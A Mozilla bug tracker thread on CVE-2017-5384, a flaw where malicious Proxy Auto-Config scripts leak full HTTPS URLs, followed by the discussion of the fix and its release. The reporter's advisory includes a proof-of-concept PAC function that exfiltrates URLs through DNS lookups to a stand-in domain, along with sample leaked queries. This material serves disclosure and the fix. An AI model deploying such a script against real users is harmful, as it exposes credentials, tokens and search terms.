1255474 - (CVE-2017-5384) Proxy Auto-Config SSL/TLS Url Disclosure

Status: RESOLVED FIXED

(Core :: Networking, defect)

Description

[Paul Stone]

Description:        Proxy Auto-Config SSL/TLS Url Disclosure
Versions Affected:  All
Category:           Information Disclosure
Reporter:           Alex Chapman and Paul Stone of Context Information Security 

Summary:
--------
Malicious Proxy Auto-Config (PAC) files allow for the disclosure of SSL/TLS encrypted HTTPS request URLs (including full paths and query strings) from Firefox. The PAC file specifies a Javascript function, FindProxyForURL(url, host), which is called for each URL request in order to determine the required proxy for the connection. This function receives the full URL and hostname for both HTTP and HTTPS requests, which can be leaked by a malicious PAC script. This could expose credentials, tokens, search terms or any other data passed in HTTPS URL query strings to internet based attackers that would otherwise be encrypted. This issue does not affect the default configuration of Firefox.

Analysis:
---------
The PAC file is executed in a limited, sandboxed Javascript environment, but some functions are still available (see http://findproxyforurl.com/pac-functions/), most notably dnsResolve. This allows for the full request URL from affected clients to be leaked to an attacker's DNS server or local network hosts via LLMNR.

Since PAC files must be specified manually (either in Firefox or in the system proxy settings), this issue would require a network-based attacker to be able to intercept network traffic of a client configured with a PAC file. For example, this could be performed by a malicious gateway.

All software that implements the PAC specification as written is affected by this issue. We have has confirmed this issue in a number of browsers and operating systems. Notably however, Internet Explorer does not leak full URLs, instead passing only the protocol and hostname to the 'url' parameter of FindProxyForURL (e.g. https://www.example.com/, not https://www.example.com/index.html?foo=bar). Therefore a possible fix for this issues is to follow this same behaviour.

Proof of Concept:
-----------------
A PAC script can be crafted, as below, which will perform a DNS lookup based on the host and url parameters passed into the function:

  function FindProxyForURL(url, host){{
    if (dnsResolve((url+'.example.com').replace(/[^a-z0-9_-]+/gi,'.')))
      return "DIRECT";
    return "DIRECT";
  }}

This will perform DNS lookups with the encoded URLs against the example.com DNS server.

See the following example DNS captures from HTTPS requests:

  https.incoming.telemetry.mozilla.org.submit.telemetry.0b2fe929-bff9-4421-9a77-9247930853db.main.Firefox.44.0.2.release.20160210153822.v.4.example.com.
  https.www.google.com.complete.search.client.firefox.q.secre.example.com.
  https.www.google.com.complete.search.client.firefox.q.secret.example.com.

Comment 1

[Matt Wobensmith [:mwobensmith][:matt:]]

Patrick, do you think you can find someone to investigate this further?

Comment 2

[Patrick McManus [:mcmanus]]

the pac file is a script - we support fetching it either via file or https which is what you need to do to trust the transport of any script. It generally boils down to that.

the difference in the url parameter vs ie is interesting, but I would still be concerned about compat in making that change. I've seen pac files in bug reports that inspect the full path.

blocking dnsResolve isn't much an answer either. it has compat issues of course, but you can encode the same information in the proxy name returned and used by the script if you like.

Comment 3

[Matt Wobensmith [:mwobensmith][:matt:]]

Triage group decided on sec-moderate rating. The trust model for PAC files isn't known here. If anyone is able to shed more light or provide nuance for this bug, feel free to do so and adjust rating as appropriate.

Comment 4

[Paul Stone]

Over in the equivalent Chrome bug, there's some discussion about using the full URL or truncated URL depending on how a PAC file has been delivered (i.e. local file vs. WPAD vs. HTTPS). They've added some telemetry to Chrome Canary to gather some stats on actual PAC usage. The URL for that bug is https://bugs.chromium.org/p/chromium/issues/detail?id=593759 if anyone has access to it. The issue is worse in Chrome, since Windows users are vulnerable by default.

We've submitted a talk to Black Hat USA that features the PAC vulnerability. Fortunately Firefox users aren't vulnerable to this by default, but it would be good to get this fixed by then if possible.

Comment 5

[Paul Stone]

Apple have now fixed this in OS X 10.11.5 / iOS 9.3.2 (CVE-2016-1801). Chrome has a patch ready to land. For Chrome they decided to simply strip the path and query string for all HTTPS URLs sent to PAC scritps by default, with a flag to revert to the old behaviour.

Comment 6

[Patrick McManus [:mcmanus]]

we can likely follow the chrome behavior. do you have a link to the bug or the name of someone to coordinate with over there?

Comment 7

[Paul Stone]

Eric Roman wrote the patch, it's in https://bugs.chromium.org/p/chromium/issues/detail?id=593759

Comment 8

[Patrick McManus [:mcmanus]]

I'm going to ask daniel to followup on this. I've got permissions problems with comment 7 but daniel I'm sure I can find someone in chrome to help with that if you can't..

to be clear, from a compat pov we would want to coordinate or follow chrome in the change.

Comment 9

[Paul Stone]

The commit itself is public, here https://chromium.googlesource.com/chromium/src.git/+/81357b39c643fc746517fd6ce5cb2076b7ddc3f4

Comment 10

[Daniel Stenberg [:bagder]]

That commit pretty much says all we need...

Comment 11

[Daniel Stenberg [:bagder]]

Attachment: 0001-bug-1244474-cut-off-path-from-URLs-passed-to-PAC-scr.patch

My thinking is to just cut off the path from the URI that gets passed to the javascript as shown here. It is basically what Chrome does.

Should we offer a prefs to switch back the old behavior for the edge cases where someone actually needs this? I suppose that is the safe approach and Chrome has such a toggle.

Comment 12

[Daniel Stenberg [:bagder]]

Attachment: 0001-bug-1244474-make-the-PAC-able-to-get-full-path-by-pr.patch

I've verified in manual tests that the previous patch cuts off the paths in ordinary web navigations when using a PAC proxy.

If that approach is doable, then we could make it conditional on a pref like this patch (this is a follow-up separate patch meant to be applied after the one I already posted). The pref is named "network.proxy.autoconfig_url.include_path" so if anyone reading this feels strongly about pref naming, here's your chance =)

Comment 14

[Patrick McManus [:mcmanus]]

I think this fix is fine. but:

1] there's certainly a chance it breaks test coverage. You're going to have to run it through try and given the balance of what's at risk here I think that's ok. just merge it into another known good wip patchset of yours to avoid flagging it.

2] it needs a test which I think can be done without actually proxying any real transactions.

3] do not release this until chrome releases it. schedule checkin accordingly.

Comment 15

[Paul Stone]

Chrome has merged their fix into the version 52 branch which will be released to stable near the end of July.

Comment 16

[Daniel Stenberg [:bagder]]

My patch caused problems on try: https://treeherder.mozilla.org/#/jobs?repo=try&revision=90e6ef68fe95f05fde6ad71aa1f93476597f2664&selectedJob=21938341

The test case in question that fails there doesn't work on my local machine even without this patch so I'm struggling a bit to understand what's going on.

Comment 17

[Daniel Stenberg [:bagder]]

Attachment: v2-0001-bug-1244474-cut-off-path-from-URLs-passed-to-PAC-.patch

Updated version that gets the pref variable in a way that doesn't cause an assert and now the try-run looks better: https://treeherder.mozilla.org/#/jobs?repo=try&revision=5a783991ae23&selectedJob=22938456

Comment 18

[Daniel Stenberg [:bagder]]

I could use a little help on the process of landing this properly. Not done many security fixes.

Comment 19

[Daniel Stenberg [:bagder]]

Comment on attachment 8765438 [details] [diff] [review]
v2-0001-bug-1244474-cut-off-path-from-URLs-passed-to-PAC-.patch

[Security approval request comment]
How easily could an exploit be constructed based on the patch?

While the patch shows the problem clearly, getting a rouge PAC file into a victim's browser is not easily done but requires a particular situation. Although for someone in that position, reading this patch will make it clear how the flaw can be exploited.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

No.

Which older supported branches are affected by this flaw?

All branches since the dawn of time.

If not all supported branches, which bug introduced the flaw?

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

I would assume they will be identical or at least very similar (pref changes tend to need to be given a touch).

How likely is this patch to cause regressions; how much testing does it need?

It is likely to cause some regressions somewhere due to the nature: it cuts off information that is given to javascript functions, although the pref is there to allow users to switch it on in case they really need to.

The patch itself gets tested just by using proxy set with PAC which is not terribly uncommon. It is also tested by the test suite.

Comment 20

[Al Billings [:abillings - ex-MoCo]]

Comment on attachment 8765438 [details] [diff] [review]
v2-0001-bug-1244474-cut-off-path-from-URLs-passed-to-PAC-.patch

This is a sec-moderate rated bug. As such, it doesn't need sec-approval. That applies to sec-critical and sec-high bugs that affect more than just trunk. 

https://wiki.mozilla.org/Security/Bug_Approval_Process

Comment 21

[Carsten Book [:Tomcat]]

https://hg.mozilla.org/integration/mozilla-inbound/rev/df6b25262c65

Comment 22

[Patrick McManus [:mcmanus]]

daniel - can you confirm you double checked with chrome having shipped this? web compat concerns.

Comment 23

[Daniel Stenberg [:bagder]]

I'll reach out and double-check.

Comment 24

[Patrick McManus [:mcmanus]]

(In reply to Daniel Stenberg [:bagder] from comment #23)
> I'll reach out and double-check.

I know you're headed for PTO - so back it out if you need to before you go. thanks.

Comment 25

[Daniel Stenberg [:bagder]]

And grrr, my patch used an incorrect bug number!

Comment 26

[Daniel Stenberg [:bagder]]

Ryan Sleevi helped me verify that the chrome change mentioned in comment 9 and comment 7 is targeted for inclusion in chrome 52: https://twitter.com/sleevi_/status/748963983319658497

Comment 27

[Paul Stone]

This has now been patched in Chrome 52 - http://googlechromereleases.blogspot.co.uk/2016/07/stable-channel-update.html

Comment 28

[Patrick McManus [:mcmanus]]

So this is fine, from a product/compat point of view, to land. Dan or Al can make the call from a security-bug pov.

Comment 30

[Patrick McManus [:mcmanus]]

I think we need to land this.. bagder this is the process
https://wiki.mozilla.org/Security/Bug_Approval_Process

This bug should probably also be opened given that the issue is public now. dan?

Comment 32

[Daniel Stenberg [:bagder]]

Merged in mozilla-central here: http://hg.mozilla.org/mozilla-central/log?rev=303393%3Adf6b25262c65

I suggest we lift the security flag on this now. It has been merged. The bug is public knowledge now.

Comment 33

[Paul Stone]

I'm not too familiar with the build/release process but http://hg.mozilla.org/mozilla-central/rev/df6b25262c65 says that the patch was backed out. And looking at the PAC code in the tip of mozilla-central, it seems that the patch isn't there - http://hg.mozilla.org/mozilla-central/file/tip/netwerk/base/ProxyAutoConfig.cpp

Comment 34

[Daniel Stenberg [:bagder]]

Yeah, clearly - I didn't spot that. Reopening this again then. "for timeouts in automation.py" the backout says but I don't even know what that means. Anyone knows if/why I can get some logs from those failures ? I didn't spot any such in the try-build before the landing...

Comment 35

[Patrick McManus [:mcmanus]]

daniel - https://bugzilla.mozilla.org/show_bug.cgi?id=1244474#c21 seems to have the link to the try failure. can we get this remerged?

Comment 36

[Daniel Stenberg [:bagder]]

Ah right, the wrong bug number in the commit message... yeah, I'll get this in shape for another landing.

Comment 37

[Daniel Stenberg [:bagder]]

Attachment: v3-0001-Bug-1255474-cut-off-path-from-URLs-passed-to-PAC-.patch

Okay, here's an updated version of this patch. It took me a while to figure out why it caused so much breakage and in the end it was almost too obvious: the previous version of the patch cut off *the entire path* which left PAC scripts that check for the path part by scanning for a slash to fail. And in our own test suite, we have a lot of such PAC scripts apparently!

This updated version makes sure to leave the first path byte, the slash, in the trimmed URL that is passed to the PAC script. (If it detects a path at all)

Due to me also rearranging things slightly, I figured I'd ask for a refreshed review too before landing. It is still a very small and simple patch. The try run for this incarnation can be seen here: https://treeherder.mozilla.org/#/jobs?repo=try&revision=853e2c1ce6cfec1fe2d9b7c092a32610028244f4&selectedJob=27661859

Comment 38

[Patrick McManus [:mcmanus]]

Comment on attachment 8792768 [details] [diff] [review]
v3-0001-Bug-1255474-cut-off-path-from-URLs-passed-to-PAC-.patch

Review of attachment 8792768 [details] [diff] [review]:
-----------------------------------------------------------------

thanks

Comment 39

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/integration/mozilla-inbound/rev/fd291895b378

Comment 40

[Carsten Book [:Tomcat]]

https://hg.mozilla.org/mozilla-central/rev/fd291895b378

Comment 41

[Gerry Chang [:gchang]]

Hi :bagder,
Is this worth uplifting to 50 beta or 51 aurora?

Comment 42

[Daniel Stenberg [:bagder]]

Good question. I sort of hoped that :dveditz or :abillings would weigh in on that. I would presume that this patch would be fairly easy to uplift.

Comment 43

[Gerry Chang [:gchang]]

Hi :dveditz,
Do you think this fix worth uplifting to 50 beta or 51 aurora?

Comment 44

[Daniel Veditz [:dveditz]]

It's too late to uplift this to Beta--this close to building the RC we need to be pretty conservative. Uplifting to aurora at this point seems like a good idea.

Comment 45

[Gerry Chang [:gchang]]

Mark 50 fixed as it's closed to RC.

Hi :bagder,
Can you help create uplift request for 51 aurora?

Comment 46

[Daniel Stenberg [:bagder]]

Comment on attachment 8792768 [details] [diff] [review]
v3-0001-Bug-1255474-cut-off-path-from-URLs-passed-to-PAC-.patch

Approval Request Comment
[Feature/regressing bug #]: 1255474
[User impact if declined]: This is a 'sec-moderate' issue, if declined the issue will remain unfixed longer.
[Describe test coverage new/current, TreeHerder]: There's no additional test for this change. There's a new pref to disable the new behavior.
[Risks and why]: I can't see any particular risk.
[String/UUID change made/needed]:

Comment 47

[Gerry Chang [:gchang]]

Comment on attachment 8792768 [details] [diff] [review]
v3-0001-Bug-1255474-cut-off-path-from-URLs-passed-to-PAC-.patch

Fix a sec-moderate. Take it in 51 aurora.

Comment 48

[Carsten Book [:Tomcat]]

https://hg.mozilla.org/releases/mozilla-aurora/rev/5139b0dd7acc

Comment 49

[Loic]

Documentation needs to reflect this change because it may affect proxy configuration used by IT admins in enterprise.

Comment 50

[Florian Scholz (Open Web Docs)]

Updated the url parameter description of FindProxyForURL here: https://developer.mozilla.org/en-US/docs/Mozilla/Projects/Necko/Proxy_Auto-Configuration_(PAC)_file

Mentioned on Fx 51 for developers: https://developer.mozilla.org/en-US/Firefox/Releases/51#Networking

Comment 51

[john.loverso]

I just updated to 51.0.1 on Windows.  I've set network.proxy.autoconfig_url.include_path to true.  Even after restarting, FindProxyForUrl is still only being passed the truncated URL.

(this change broke no-ads (schooner.com/~loverso/no-ads/), which wouldn't be a problem if the new parameter was working)

Comment 52

[john.loverso]

> (this change broke no-ads (schooner.com/~loverso/no-ads/), which wouldn't be
> a problem if the new parameter was working)

www.schooner.com/~loverso/no-ads

Comment 53

[john.loverso]

I see my problem was reported and is fixed 52 beta.
https://bugzilla.mozilla.org/show_bug.cgi?id=1336069